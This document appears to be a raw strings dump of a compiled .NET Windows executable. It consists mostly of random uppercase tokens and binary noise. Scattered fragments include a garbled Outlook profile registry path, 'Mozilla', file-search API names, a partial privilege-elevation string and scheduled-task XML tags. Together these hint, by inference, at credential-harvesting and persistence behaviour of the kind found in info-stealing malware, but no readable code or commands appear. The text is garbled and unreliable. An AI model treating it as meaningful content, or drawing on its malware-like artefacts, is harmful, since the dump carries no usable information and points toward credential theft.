NVSXZQC
&ry8
BFGRHI
&ry6
&ry5
YSZPHWUEMKQP
&ry2
DIWRU
D$s%R/4+
&ry
KKJFSBGOCM
BZATVF
EOTXOBURVGC
PLJAHWEGZVLD
WUVNKAKSRGO
AWZJOUGAOY
ue0Rdi I>Zlk
dV[V]HNFORMATION
RNAWSDVRF
VWTCYWCEM
RCREYJNMEZ
LIOZYQVHMUSQ
VADXFPQ
!e`ENy.Si*,
<HVZ
gZYIJ jL RESTAZ
ZGEFNPAKUJU
GGETCW
Tim=it|aQ7K~y
PLKQSA
XBPDSTYG
TTOCVNKCUKO
QDORYHFIDULT
&ryi
&ryd
JJSD
HSFMTRKWIES
UMZUVRBSSNOI
NQRQUI
YTWDYQ
GCAIXEWL
yGm,Xvqp
$LUJ
PPHUFJ
HGAUBADYLMOO
&ryr
q@ UR
QZXTIV
MIHWUMKSGW
NXBPYCCV
MFHUWUXVC
&ryH
EBYBTPLILOGO
FFEZTCIKZO
Show
p Q+
MVKIWTEHLRMK
&ryA
RMFSEN
LIEIHCOX
AZOEXMRKFM
NAQNWR
p Q3
OAAKFMQQG
v^OC
&ryX
&ryW
ZONRYZXZUUMH
JMFAKI
EXBJYILBYBIV
VXKGDP
RWHNWMTT
&FGMU
YBDBZU
WPXLTBGOHKR
PJMSHXTPPDIA
EOQANA
DKXWJHTVEDJC
p kb
XFFKE
%6\.sQ0sid\CY
AWOCWQKISIQR
EMJKVYIBKKVD
AWCENXVLC
VWEFGSSRHRM
AIHCHDBAB
bLA]MCRBZ
OMKZI
UUGJPDLXHTR
LTZCDMLLULHF
HPZIJC
EREFW
OWCNPGUZDSHY
JLEHGY
APRAFPZSUL
QKVAMT
ENGHCZLZ
;:'"dncoding="UTF-16"?> E
_CorExeMain
GBYHOMIKPHZ
ZOLAWO
GCJYLFGKFMXI
AJNYWMS
TXUNJUNSLELY
YFHUUBXJ
Sys!O~&Qg!S
WYUASBCWQ
UHPXWJAAQJAF
UXRGNOJSVPKS
RFAUQFCMJWGZ
D|-3
VAORMHXBTRZ
LISQQOSWBBH
GKQTEME
IXPGMUID
HJCOESWW
FFOVKCOKBCV
IQZAUGUGM
nBGBCU
SecurityPermissionAttribute
EUNGVMINKDVA
$|S!
GQDJZYXMAFF
KXOQKNLACQZK
XJEMTA
YLIAPNQWSG
RVVIYEAYY
BUCKDIL
IQNEUXWI
FNKDWQBMBDIP
HHFNX
VUYBLXVS
NINSFF
KPQVISPFBXHI
DLHEBPT
X}q;I
VGPETNMFWL
PIPDWBOFS
ODMQZVEGQ
QDNIWWCSUJ
WMMUCOLFFJH
YWQNQRBFLU
DFMILFUXDXYN
RYTYUAV
y lm
GNISTEMFVAON
n^[^OO`U\JMVCQZM
MFPZOEFMCUSU
KSMSOTLY
UXNEFPN
VUQXX
ZCXJBETEJ
$=UA
^t~`
.R}gg{ues
YKGHJPFJ
CENOZPOZBSXD
OVWZB
GDQRR
DPNEMFOQ
,%F@
CHCTNZFVLCYN
NSMJXGF
IWANQBSPHP
YMEUAAYM
MSVPEB
BBPRGNWM
BDZSHGVBRPZS
DMEKFICXEOZ
JPFJTJACK
BSDWCHT
EUVITOLEYTQG
DRHFINMY
DDFQOT
OUJKWPHTZPCA
YTDGUBLSCVJV
IKMLSTWAGW
GOZYCG
ISLUUHV
NVOVJZ
VOPSC
OFQJCZVPRu_S\U ,_AWGTYOXP
XAPRUF
WTQYMTBIJAR
BBIAALH
HJGWEMLNEX
CKXZLH
QLXWCRPTC
lSys&By'Wg;Hcyfgr.ResourceReader, ms,Hcfm`b
WGGKILSPDXIL
ERPFYJJ
WPZMWMFAVD
BGAOWT
BMUNBVVOVQAP
AVUFPEUG
UYUYBJKFQBBV
JHQSRNWBOAS
VJSGMNLRECD
ZLRMAHVLYYI
XLMBM
HYUZNUMNZLLX
dwSize
MIYXDDCHYQD
ODUMSOZ
LHASODOS
OPLHBYMLWW
QhzeOfCode
AQPUZZ
OKOXZ
EUOOFKUEOAQ
JQLE bMLBI
QWCZZR
RKUBPYW
DRSCZIWYRADE
UUXUUDCJIUEG
sA=5Uh\90WSQY5Ts54WR
SJIUHGRGQA
PXEWYDQMWA
%4-VC
st<Os|
CFMYKD
SLKJTZ
TQDBEV
EIBMHW
DJXCZVPNTNGA
VOQOMBXOZZE
op_E7Vzbgk!&B{iku
GJNFEDYQYCF
IZSMIOUZOAPO
BWRBOIEOPX
JKATLJAGNAIT
ZYNKGZGXP
YXVBF
JWCTDN
RSZQQWRXDKC
SKAHMB
ruiLZ
OWIYXVAKSSVY
VOOYXYJ
+)O I
ZUDPCIDCFV
& X
DPLHKOPPW
p N[
JFQOCPFXRFFU
CYLFZ
QYRKCFRLRAYQ
}$C&
AJCVML
VRBHFFHEIF
TTHNVVQYHQF
DQYFLPXZ
KZWHCR
MOFOCSWXKRVD
RHSOWJB
MGMXER
NKAEJQHXQBPR
EXQPSRGBFNGH
GVNDIK
DLQHRDKO
&rA"
STCRGUTWGA
&rA/
D$LD
& X$
XOCYQJGD
YSLCUZWHDIOW
EODAFHHPE
XQILPJRMDCP
WIAMOWOX
KVBYOOETRS
& X=
CYSMOKXS
HCQOUHGBQQDR
JMHMWN
ORCQGVSYTCS
&rA=
NXLVXVIBV}GZWTNZPC
cJLIK
WGBZEC
fYFCZFS
TSSFJUDIG
XOMGMLFMLM
&rAD
JUOVBXL
YKYHTW
&rAO
DZSZAS
AMLUQAK
LVDMTFQUHDZ
PHDPOGBM
LAEFJJHL
HSGXAORGZHEU
QLWGFKIPB
AEOWXWAAAJYA
& XW
GQPZUCUEK
WPHCYNQZDJ
& XR
UXPOCCUFVFB
KJVNEHRLON
UVCBZ
KRNBYSMZM
KTRRLD
-DCU@
MWEMCXRHWO
& Xf
JMAKST
NWJGHYZYVVBV
p N5
GEMZQMSZM
QAPDME
OXCAWAFWLWQK
LLDCHJP
OJNGWLYRVTBD
BQTJZGJY
edt_ProcessName
JKCVJQCATSYH
JJBNUI
& Xt
VIJOVN
YDKDTA
TNVAJPTHFXF
PLSRUZGL
XBCNLQ
DMCYNAQSHALH
[ n7
FCUMLYBWV
CTXUYWJ
XLGJEYROFDY
COAXLVZHGR
JPQFPYSF
NQGWZOHWAIZ
Dqo9OcFcNhnenumbers
FOOMQD
GBWJMC
IZQBEMMB
PJQQCJ
NZBVQO
SecurityAction
SGLTHOYAJ
AFOLLBKWPKB
PRUAOS
LHZHDXZXURWS
RJYUIX
ZRUXIIYVYQI
ZVRAWYXBMHET
IWVEONAPQC
PXUZQBIFD
PointerToRawD#Uq Ww j
KLAQK
GJBRTUP
ZBFTRRSTVU
VSICYPVX
EVMQGXLUWBH
LSRYQOMEVMH
ZUCZRVKPZT
8+z J
VPOJYS
PTILKLOZCO
NSHIFY
IYEWPY
KEVHAT
@K0f44ld3=a"L6{/Sii
OCUIBFSSCIPP
UIOUSKRRL
YWDNTNJWFCJ
SDJGOQ
GYVVQYIEKGU
QTFQIW
MHSFXXLNIXPC
IXGMFPZCYQ
WTKDGUBGRL
HGYSK
SFLCIFER
Dd5LC542dMZ65dl
IOHHMKUJVM
& =A
mWYC1
9tm
YPPVFON
ISXVGDGRBL
FXULON
p #~
p #x
p #t
AESLCJBJDXH
SVHRBDQVG
CAOMHX
SPMDIQRFLSQ
EDEIYSYAWUTV
SOBJKHYEGMMB
AIOSRIJIDEQ
EWIMMN
QPWGCGKCY
YYCLCBLOACQA
SPXDYRJLVX
LQEELYHPG
EditorBrowsab4BC~ev0'CnpCqartmentState
LSRBIBXnUZBK
PMBPKGWSFYYZ
HQZD
&r [
HYCMGKRG
CYHGIVXM
&r W
&r V
CSHITXYSWZTG
KTRBIOGJWCO
&r R
&r P
IXBJNB
lZ NCEEJGHIHRKK
Wgfex
GMCNOV
FHSWBVAB
ICNMNIAFN
JPDTPBTQVWDL
BBTGTB
CQPHXS
VXVRHUGMPRKL
t tw
PFAHBE
QHVAMVI
h6MFOg
RUJXWD
WCWWYVSKQWYI
FGUTECOXNI
h[PROM
AEHYRDRP
JQRFX
&r r
&r q
EUYNFFCYQ
GTJCYGWSY
RCIPWYXHF
WPXYTE
nE \SMEUXODP
&r j
$RISUQ
OYVS
&r g
NNJSR
&r e
SPONRFKYENGB
%)WA
ICPQDIRMALCZ
MGFOXK
nRRLM
WXNYDIGOQFY
GLWSUE
D$v*
SEVIMBFJRJHC
BOYBGHPKVBKI
SMZCELAFQQH
'Xkcqshot
SPGKWUGUVRVW
BGXNHSGLI
VSHTKDG
QEFWDWABDILN
&r
A rPERHCGMC
Dp*S
JPHZXVAJVMI
MZUUXFDHIUI
RGUYROX
LXXSKH
JFPZJWYQVMSF
NYRENSQNAB
OIRNFT
EZAHVRAW
VFLFSKGOEMRX
IABTIMTO
RFXLSAPBSA
&r =
VFIHDJJKINEY
THJPLO
FVDSHU
YSELUS
&r 4
OLOJAEVAI
&r 0
r] SUFOOQFP
SRJWKL
2V m
MTAOFL
&r +
STFWHEKBIPTP
QBXYOAHGN
ZWSLRNXnYA@G
'ADHEBX
KBVLZO
UYTVTYHAEGFZ
AWFGZX
TFXUVOCyDKRT
XTIPQOU
XTTSTXBEXHH
ZBCEUM
SPYEKVFAG
p k}
TPVNGLSZQSX
HYBNLICRNU
AWMMAWWIL
JOWAANYENDES
LGRCMXRHIX
Signatur*$@
UWFSZVZWFCJN
JIDNKQ
Hafv
MFXXGVWNBTIB
LZTRBUOnSNGA
UXUJQO
FTFYBXHQICN
C; Gi
SZCNO
p kk
LTUJGAFHBWE
MASRTRUQVHYI
XGDYFD
AXUNVFCWQN
PCQXKJLVCGE
LALOXFJPL
HWXCTHQIQV
w^B\VY{GOR[UBTRYT
qVMPRWJE
MAKYGN
+,x
AELKE
KQPSODOK
sV B[VDSE
BRPBTQHUFFQV
CDNRXV
WZOYCPR
LQPUCECZEV
BTLSXA
p kK
p kJ
lpBaseA)N`lwqY}
l$0u
FSSSQIFZODS
NVVPJC
TOXUSLVSAMR
MXGZFPSB
): &.
GUBPXC
NSXCFS
TXPPGIVAF
PMKYRPYVDEE
CRYP
p k'
Q- "
LNLZSFXO
RKASDFAE
Si5DZo
WROJKZ
TJBGGL
MOKTYF
CYMTCKJUJAB
DPHKVNHJFN
JEQVVZ
u\AQR vE FUHASU
UUAUETMNTCHO
BEBIFFTSTAJC
L<ek
\j
&r^t
MCTDUWNFKHTM
&r^s
XT@[VR
RCINPAXPKBHB
& =T
OAXBWUOMXL
NIICDGLOPYYL
PROGYNOZHURZ
SVBKLCDXAG
VQRPN
RASVTENTPNKH
Iw62l63g4R3YW0d3IC
GNHDWNCDOYQV
ZLMTEZKS
NWVMLZDJWPWZ
QNOWSNI
BIPAVAXKVAHJ
PVE uNF\M
EKRYRBUE
PQNQUVMEBRGR
ODRKB
HKCZQW
DTZFUNUNPEB
DRLUCD
SBHQQTCG
NQYJIN
QIXSKECUKNW
HTYHKIQ
IVTBGLWGTDPP
Subsys1I{ Vc Ezd
VVXPVWANWJXT
AONKET
fBA\U
T$,w
NKNUKS
XVOJYRSAQAV
YDZXYP
MZQWSH
PEKGCTMGANTY
BQUTSLYEMGU
co'Ithq
NVDHMKFJ
BFTBM
MKVBBACHBL
MPHUIKQQL
JYJOQMEOQKDX
JARSRCTT
SXUPMAMRK
<@C!
T$,Q
POAOHHDRVWWN
XZWCXRFFGA
RARJBV
BSSQBHPZAIVW
GLAHIR
NMBQNDACTNUO
XEHLALDXJ
OBAZEEDGB
"! <Date>2014-10-25Ti
XXWPBH
SRTZSIQEUXYJ
HGIRTF
IIXDFN
BDYXDKZDQF
YNURYFTVIUNM
NWMHNYBOET
JJAKBZL
UUUFE
RXMEDC
MDULOYPQITIR
h i
NLMMLJA
CMVJAFOS
RSFKOFEMGXG
LOJYL
AUKGNDAZCDQ
HFSROPDWIU
OGWIXNCTDC
ADNUMVXVKNXD
FEQRALUWBCXN
ywH1A
RJVNXYA
VBNMLDP
) <k
LDMXSYOAMGX
QLMDJ
WFBZTK
OGUGFIKXG
QYIMBEQKQS
EXQVZP
Mozillael|{adnx
WPZOUL
VZCMLGMLVBGM
ZTZSUDKBUWVL
WS2_k
YWABTIYJZ
MJUOCXXM
RTQDDUZSIEPC
EXOMYWSPXUYL
JOXDIIKUA
NPWZA
&r&{
HOHBBN
NOUTBR
KOURIS
JHNITAGDAKG
QGFVY
KEYJTXUG
]KSOHQVUBNIA
& ej
OZLLDJHA
kDMMREKO
& ec
DLDHVBA
LSFMXSIG
YOJEIG
.X+
SRKEZLRWEJF
IQWHNGXYH
GULHFPOJ
WSCWBW
WNYXEU
CGSGHJBZWEUG
RJRQKO
VMMXSNK
FBRHQAGMXA
GMIHPHBZK
<?tN
M$<\nBnd_4'EZJhfE
FRTVB
BCALWS
CMWFWTZUFLNE
JENYAFKLSSO
fKF@S
QRIQULN
FBXSB
CEPBHBCWP
CFYIIFRJWW
& e4
HSIIIFVBELMZ
NumberOfS+Abbjl*'Cswvdm.Collections
DDJGLXILSYB
FQGVKAAL
HPQUXBTIBZS
& e)
>K*9
X!iK
UYHTFYOT
JRCONYSTIY
SKAIQCQT
FQWRA
VNMENDVCCO
RJYCRKUEIQ
CYULEWCWMHE
XXLTRRYTRFT
BEPJRQ
FLUFFGDIZZRQ
ZWTNBQ
SBHCXNIPFJ
CKNZRR
UVRCAS
YJSXXW
AKAZVKMG
EALESK
WJYOVCNXBB
SMOBUZVZOW
LTHCSCFYHQSI
GPBNXHMROCWG
DDZHQYFZDUHS
x*:
RCZAJOGJN
IYWKQ
WGBUTHZAJMU
QMKADQ
QFHDD
BDSFE
&r{0
LODIALWNTDRJ
OMJVGOSDOLR
PHZQNLDEJSV
H]A dXFMVVXX
SMNDZZ
&r{'
JOKQQT
p SX
&r{"
AYOFSFPHAPD
&r{/
SFJTPLTE
p SS
PQJGLN
EDLPVGUSVLQ
D$S&
JHEVEUYBYD
IXCZUYPXBKP
D$S,
XFRFCDPZKT
MRZPTZHCOZS
D$S(
CMJTJECZYWWM
DMAQSPHAKMM
JKMDSZRWBJO
MFNLMBHQVMYS
A}kv0Dv$MlueropServices
EKWJLCNRAQAA
HMMJRW
p Sx
KVVNI
p CL
FLZPRYASDF
OWBNQZFNU
&r{
GHUC
PWQCJ
MISMBNGMEH
&r{p
FBOAHBABVAA
IUNNRHEZEPEQ
_AT;sI
ZFGPU
YQSDUWBQUDGA
VTSOFLVQ
MKSLL
IYJJWB
*l '
VTVYPB
FZZMBOGEPAJA
PNITXNAOQLQ
VDNITT
AQSSLHPKE
8T9N
s<3u
PLVSPNLD
xC\AZH
GOIDNV
&r{]
p S$
VDEEKQXIUWO
ZGCECF
NSTYNOR
NENCHUCZNIDL
UPMCIDOJPZH
ORTZQSVNZD
DVOXIINXWF
FKMACWPOFM
XTZAXI
&r{@
FYRIUJWI
IRZAVN
HAGZE
MHABZXJDYP
t tb
VHCUGCKW
p S2
WULSMTFNA
SEETXKYWEOJ
CAOCGAIODZ
GMQMQPRBWWQ
IGKIYWUGMK
hEMVUDnSSMSRW
RQKYIT
HZFVH
9T9Nu^#m4
OVXTVZGPEUFK
ROLAETRD s[
ENTTBCXLHEYY
ZUACMJTD
JKHKLB
SKMSG
ZPXUTRYGM
FRZGPXAVHF
APPTMVJM
GQNBLKGOA
VRGFMNDZKBNJ
Fw `PX0Zs5*q/H34fW0S
VACKQYCUZ
KCFKBDQHZE
)@XQ[
KNHOLM
XVWCZB
LYOWTMXFDBX
FindFirstFileAI!W
UMXNZN
LQRRNAZIPOR
PFQTQH
ZIBIAHHAZIF
4&C,
YOQLEJ
SOLWVKEXU
HJWRMDZNARF
-0V+
YBXKONARI
WCCYES
GKTXJTQNPGGD
IIKZXFEELC
KVKEZMJ
BYDKE
BUMTAL
RPHVFGHILEWF
YVNVML
LWDVIDLLXQUM
WZEVFZXR
WUERWUHHPQH
DKHQWPKLQCP
UWDLDCNKW
kDL\
ESDCIJHQYUZ
PTJJN
EOQATWY
SMGJJAKYJI
ZRNMWJ
'^XOEXY
BVKGWFMTMIS
JOTJSQEOHBQP
raowCla+_
#7H'
D $v
DPFORM
WLJXQTKHTUSZ
%&'()*45y
CRNDYU
VUAWC
MFQLP
VKBHTDR
YWAGLG
OARKJIFMHWS
DCDZTOHX
LKIRDIM
VDVDTV
DIMYBH
>Z^_]
RFVTTLOGY
HGPELHLWWLKU
MSCFXIDWD
Regis VjC`{WAymmdx
ZSGCGDPUWE
VPNQ
WDMFOYJP
SAZFLKE
yM7E2y.Sii
XFDHHG
WVPNLLIUU
HAETCXBTUGW
TLBDWQVOGHBE
MMGUQDQQMZAW
MJGOJMZTPZUY
ElevateP'EvowqSOD{jadss
QBXZPXREB
tWMSP
GVGQFNBSU
MEAFH
UPESVLUOQ
MYTDALCHAU
KJGQU
UPWGNF
YNUTLCEBGEFG
MHHQSBSNOB
OGDVRSBCKNXO
HUKNNDOZN
WDQJLVDLXPS
HNWBGPLXCL
*v+Tb
LNUIHQYC
yJB@C lA PPWGER
OWDWVILUM
(n
YVIXAIPC
YLDEEOIPNE
H]ZHM
%cqT
AXZLXPQX
MDUOOIIWJG
GCJASXQBRAJL
BYCTRLFVTZYE
DDYSLHKB
CYOASK
WJSHECHDR
TAXPGDHZT
PFKJYT
( `n
GEGUAPGDYBX
CBONSJMEX
WYIYGAGTODF
QSUSJFP
KJATKT
TPALSU
UPXDVYNY
HOLO
WMVPZEXUDSJ
INFDXXQ
IVJALDEAWV
OJCKZNV
CHHWSKYQJIGU
AAMNDTRSXGXI
NZPOEJK
EQCQFQHWDSU
BBMFUT
NFHCQNQRVN
NRLHLLXTW
PPJMRHQYEE
VHAIEJZCLCVY
IJHMON
MJMBHLKHCCZW
CFFMO
ZYPVNOTRNRHN
FGAVXIHLFOQI
EODWIUOQ
MSGKTLQHXWTZ
QSLMUDPUAJI
NOMXTBDISD
XKLMGNWXKMRN
MMTANHEUEXW
WNLFHOABDUC
TagWord
VEDZAJUZ
t5u$eQ
WXHJEISQIEMK
FFQLJJZE
ZSEWAQDYM
YEQSFY
PVOHQKCB
PLWXCDADJUQS
BCFRINIRTSZ
OXMZFD
MRZZBNDQQ
HVFFYAEEVDII
VFVYPVWZBUTM
YFQJXTZFP
GXNENX
Error
p pi
LGDU yG \T j@P@TIXXT
QJQAWX
p pv
jR[JT
SHBNXOT
F%,I
CMNDKLII
GenericAce
BMSHPKUY
BI&9
XPTMBYONLOS
COFVXEOVKQM
F%,@
NELRRKZHRXiNZHOYTQ
l <~
EDIGZVOWTX
MEQBYOFY
KVZXARVWJYVM
FBTHTH
KOQLMBMFXRQO
Assembl0bzduc=ST~qphbute
FPTVYD
QZ]\
BBZRYVZHQKBJ
IPSJSFHZRXZX
SPWJHN
SGAUS
&rC<
QQVZJ
OPMUCBGKIL
ODBKVFDWJS
RWLYQNYUHOA
QZNPVIHEP
R. B
&rC4
LZZELPEMPHSY
PEVHDM
KPYKM
&rC2
)B]&
& FV
GNUICKHJYNR
PDWBIFV
UJZTDOPQCQ
NYYGJJN
p p)
NIRGSAECI
XAAFQSFXCNAE
&rC]
KHUVSKN
ZYKKNYXJLLC
&rCX
&rC[
HLNKVBUVUPYS
EFOHAVEAYBI
&rCW
WLDXEJKDNZA
WEWCSQAVYO
&rCR
EMITW
kALB
XGPSPCFMF
Direct7^jAkd;*vWjglinfo
*BJS[
KLKGZHSYMP
aTETU `G^W
$DBA
BZPYV
BVNXNSIBNX
DMNJST
NGDZA
GNSDOKG
KQWAVI
EURTLACS
WSOLUWSNU
|EDVI
FITHW
eU WT
|AQV
HIPZYITHOFXK
LIMGYJ
XEEOA
SWWWKJMIPCU
&rCp
LKCOVWBRPRB
YDYZW
XXGTPUFYBX
ZWAOPUPTFJI
HKJBQE
GZKTCWN
WBCRTZQV
SKUGIXJSRWH
IIQTMQA
ZORPDL
FQEQSMTGDK
FVNCTNPVHWA
ISCIZBIWBDE
p %
NZCYJ i]O_G
JDQRMOHJXQHH
OSOV yESR
QVRQJUHMB
dnF%4
Kg|`p0Be7bcmse</DisallowStartIf IVhqv6_{lv< <StopIfGoingOn
D $a
$PUA
ESLRNQENJYHN
`2]-
HIHQN
PUKVGOF
NQIRYFRINJ
QPYYTV
p %-
AUXVIUBVXILN
NQQHAU
EJBIDDOZJRU
QLVUXIJHYUDS
BPHBVQLHXU
ZQDEJY
WFERG
WIWINUMPEV
^!9EW
TESSNMLZMOMD
UBOMTFIFXIHT
PFYLPCHICVCL
GGPJGWVO
F8Ip
XMJUY
NTHWLXBIJQLR
OTIAIURYVCN
GONTJMZLG
SSJKV
SVGRZWXSET
PKBRIZ
JJNMXG
VFRMOIHTIVE
SLGKIELKS
DYUVOJNCMORA
TWVFJQ
IWMOECVKICY
WXNKVFEWQPP
MGOWVPGVY
op_ Dt{pc.Efr
WDQJQZMVY
|[_V
qCII
ZFYSSIQAX
_)2'
Yy{pkog</MultipleInstance>ryfla5
RDGGGNPYJRS
VYRHYUVO
FBXXTIKIYOR
BOYBAKKZVYCN
Ge,cqb`au
HTCMHVRZVPM
YEGWJV
QVLOCH
QCNGZZ
p %g
BWKNXTRCUYGU
REIHEEKBBLHI
CSDTGZQUQG
WUQCFA
ZNGCVULZZEY
ZZSMFPLNWT
FCWGYK
EODEXBKSK
EKJJNWHJWS
&r l
&r n
&r i
ZNGJQPMBSEF
JLRLLZSA
m7M|gg
MQVBRDMWSG
RJYSQW
OFGXB
XQLBDBVKJQ
RuntimeCompat3FzglvxAttribute
ISDPFMBZMWNT
mscorlib
PFVKUNCWCZNP
WHHFKX
LOIONOYXCCHM
JITGUAMYGPO
VCJBGFNBSY
IEWNQQFL
YEPJOVRB
WQRPTDTVC
WASMMT
TNBMJZZE
YEYVIMHZHC
HEUNXREXPZAY
HOHOBF
&r J
YAADISH
o7CEd5mWnWRMd664
MNARUDXUUQ
WEGZXSV
MVIPPTDMSSBE
QEEXXTHNCA
QCOQLD
pGDQH
LAMBLKTUQCQA
ICVFBPLMLQL
QOATJCDPIU
p O,
$6\FWk4iiC\_40dwvsU!4
OFIEQ
SIAXVF
MPDNIXGIAA
URXLCQWNQX
JECEW
RYKABYSC
&r .
HIAKKWUB s@N
SXGESLTNF
FKLMBBPK
DllImportA,Pbcfwue
VLNZEHIHNNFH
EPENLN
PRMRJJWGHUP
KLKWQVDV
KOOTGQ
LOXYZE
ZYBFUKQKM
HUPKPP
TIRPPRHCUDWK
FZTVYXPB
EWKYIBVS
FKLGBOELEENI
J'{*
AXYYUFAHHFKY
YTXTBTRXIR
VDFMEDOZO
JUZZLMMFQLQR
6,Z m
MFVVKQ
VDRKAO
h\OUZ
2%N&
OSVBKEONAHEN
XROZAG
IGOATX
PQYBTTPJ
Systemt~uzjw6Oqx
NVERUAXKH
BIBDAG
DMLULA
NTEZZO
XDJAPDMPV
LCGFILEBOYAA
BHKSFSHS
SHTOZWDIQRM
YBJGXF
NTHBHW
VQUEMO
BUKWDRCYH
& ;2
WCSFYG
VDNHUQ
IXYIVF
QDPJCEAKXOU
CZNFXO
PBPNEIF
bS[U
& ;=
DLNHNHDMZN
JMUTTJ
NXSRXR
FHHBMVZQD
UBEYAC
GetStri8F
QFWKXSJPQEUA
ZJTYVX
& ;
GQIRYHNPNCB
SegFs
EYMLCJ
UYSXV
dN PV
WCRAPO
uFJUOP
EVJTHBXY
E]hL/Sii
OTXWQMWMS
WYQKPIPWF
CSNMCYVVHTWU
IMLLBHJAC
NGJPAV
#GUID
RBVQUGSEYX
YUKKAC
HKFJFUYUVUV
DJTXYAANEC
JEASUIQXUEU
RKXYTGAPNCR
ZFXDSP
FSGFGE
n"0{
ALPARZ
KSSSPIJMOQB
OAAQVPBMBMOT
UBSSZJCUU
cW FV
QEPYCGCILQZ
DXUDHYAWXEJY
RXXKKPTC
&r`y
NKRHRIYVVW
NLWETQ
DJGFKF
BSGTXPBS
JQYGRFRUFS
YDBJYF
pR IZ hBN
ONJURZAWT
YZTQULM
VCRKRD
YZRSMJGQFUXC
DWYZCN
ITFNVRLLLX
VOEGWNUQ
& ;R
XBJNHYN
LBMZZA
NVCVQNNR
& ;T
$`V*
KDYBYT
$0\'
CWUJC
BHXFXUBFM
CXGCKWHR
MXIKZZ
UHSJQOHZ
n[^WUVVYU
NKYOFUZZKF
OZIETBXLZAXP
IRGVDTNNWNNP
QEHKFBJLPZ
FOKQKLDQAXMA
VWSEGTKBKYKT~C[MA
OAHACFEO
SNHQEQIOQ
THEFMOG
UW~|Ivahi
MTMEP
XTDKYDWVRGL
ABKKNWWKCWX
XRZTSLRFKTM
Re5npf`vdKeyAX
QNSIDPZBTMUX
FWMXFQVGS
RJKKBSHXCBY
VXGYRVVYKOPV
OXLPHHHYQ
KSEDB
SJTEVIW
EDMPOWI
jA]VA
DLPIRJ
OILXD
ONMFUEMPXGJU
XDNWEP
CNWMIXFIXg[SR[
TJTITW
xU]I
OKNXHROIAB
CBLQWKFQ
KIMMB
JKd.
QZVRDI
WGEVHIHHCNKW
)AoefGile
RFFLMS
CGGMY
MANSUHT
R1dS_0dd
WHOZWQ
%c%lluX zeq
ZKBSURHNTUR
JHMLEPFHQCGM
DCYZXV
LIDURGAISEGC
IMAGE_FILE_HEA
XUATWLIDGH
TOJCMH
LXRHGYUI
LJDMUMY
!QG_N@YVO
WOYEEILIRNQU
IEGRHZOFJEGK
LFWZN
AUHUNXYXJA
FXAPGVEOPGG
LXRISD
STCQGYBF
IJJIWKVQN
SXPDUJWMHWM
SizeOfSta&AGlwg:Zv Wk{eOfHeapReserve
VVu5
JKOUZFK
EFOIXYN
DWDDUTOXGBOB
RPPDJFBAA
NBZWMIXFQGL
WXVGKLPNVZ
ADCKHL
COYAZSD
ENQLXVNSXGMH
@[^_
FOPYKQTCHVHQ
IJJRGAXNR
AKIXJXOXVHNS
C}dp:q~njCwailable>true</Start
RYFCOFM
~YNVS
&r(}
TFZITJSFUN
IYHKYVZSNOWV
HQQRBAJONJ
&r(y
qW]@Z
&rh}
&r(u
JQACHEEKBC
BHAACZAXPJFH
SCSKSANFWTRS
TFLUKKHRJ
FMQWQEKL
D$$tt
PIBCXJJ
UQPQWRBFYUP
D$ Z
AJNMHK
dU_A
MJANJF
NLLWEPCXPQEN
BLHJA
& ce
*WQBUNE
HNGOPV
RBVZTUZN
KBUNI
& c_
dO _CHQGZ
ELNNIUDPVDB
MJDRMSXLMQUN
SUUJQPSNDK
D eVZAJNSNCB
XOBEAXIBQVTM
DXXJLBMnDF_Q
PVNAAZILUTW
LKOFUYNPPO
DFIHQI
AOYPVOA
QGRXMFIEIL
LMAQPIRMR
OPJKTRZW
FMWGZCINNF
MEUGU
TGCINSOI
k%[%
EZLOSC
D$
UFOKQMZVZKPX
D$$t,
OEVTCF
SWJGVB
IVWTADSCMRWE
D$$t4
HNQJYU
& c/
VUGOP
XIIAJMI
PKNKWKUJC
VYRMFBABTUQ
yO QSVIELFU
NYLPXOYN
D$$t;
KVZWXTBWPEJU
NHNQNZBO
RDKXYWHSQHRO
EKHOBGMV
-6Ot
TQMJRXRPNB
d\FRTL
BNHJMH
D$
RFUAIATKUO
Replace
kEBAZDGQ
WMOMOKX
USWLGDIND
SEPYKV
RIWWRYJYIJC
QRDSOP
b\HQP
LMESE
CTUQPSMF
MBLQYV
RTBXQIPB
NRNGVK
EWYDUZHEWJ
WIHVUUCKGMO
&r};
{_8lE2G3y.Sii
URBYGFYOWILX
$"! <DisallowStartIfOn
&r}=
WJWIGNTEGIY
PUDOXJMS
&r}!
THXRLJVXSLTH
NHSKUTXY
OQKRDQSISTA
XBZJQB
CQDJQN
CYLYCP
WUIBAKZL
COJQT
$nJrr0dsC0dp2h
TXUGEWFSJMAD
D$U"
Software\Mic'Ffecv]Offi5IJ81,1\Outlook\Profi4HfTKwulook
NJPBTE
QOUIAPID
VCMLF
ZEYIYHBPDIFK
DSYPEAZYR
FMDXKZYEZC
fIRC
PUWQJJS
VTDWVN
TLIEOMS
XELPJDQGYNR
SPEMHKLENT
GMRNURHS
QABOBMBGKPZQ
p Ur
&r}
HQKFFQ
VUZFLBZOFTE
WVEJTGRPPRY
eJARAOUYNL
VVMCUERZZCVCCXMCV.resources
JLYQBD
XBUPJBAG
&r}q
ZXBDEUNIPHIM
SJZGSGPTVE
WKUFTRHFFKH
XNQGNE
MPGUDTFORZ
$LW,
VDGIUKBPDLUK
HSAAAQLYPSOI
DIEH
OMOOQP
BXNBOMMZCEHA
LGXKWNCBTDXV
PWIPKW
SHKVBKDTBVPL
MOUMAF
q 4m
&r}R
KDPIWD
KEMESA
CGDCQJFVD
%! r
KZMSY
JJYVMNDHFJ
IFUOQNPC
EWHAWV
LRZOYP
'YJNG
&r}\
UGTFOLFNZWGV
ZGXXYRP
POYTSYVDW
SYAMRSLEMJD
&r}D
LNUJIGXBIVG
CULRTUB
JRQSXIPQFK
FPQZUDVT
XHOEBU
NCTEZBGCSGV
SOLEHPPDQAXE
OYJEIXWKFIA
OWCYFP
VCKFBTP
AWMNLKWMWSZ
OMCHGGFKRLPO
QBNQWVYVNH
YYFVDHMJIV
BWTEWID
GBUEILOHYQMV
YUZSNN
QYJKNEXYV
MVMRTXKZIYBP
NHWWK
QEKSRQ
DHPVVAENTSJ
NEQZZO
UUVIRIB
QCXIJQAY
OKMRMWER
ZRMQBSVQO
PGYEYCJWWTX
VYQYOONLJLE
AMVPPLIO
GNRRUACMDY
DXZHNN
NAABRPDWP
cUP@X |
& d\
LMXQHVYRUUQX
IXHMJEKOFUGQ
KHLGBMVEO
EBSEGP
MGQSPXQJASW
OZQAYX
FIGEUGAXYBVQ
QSXKACHLJ
YXXFWYAFP
HPTYPVKIBLJO
p_B@[
~aCH
IFQSTPHQ
HWYTOCJZG
TWXQYIVOPZYQ
p K
An`2
HGYJLR
LICXGMAR
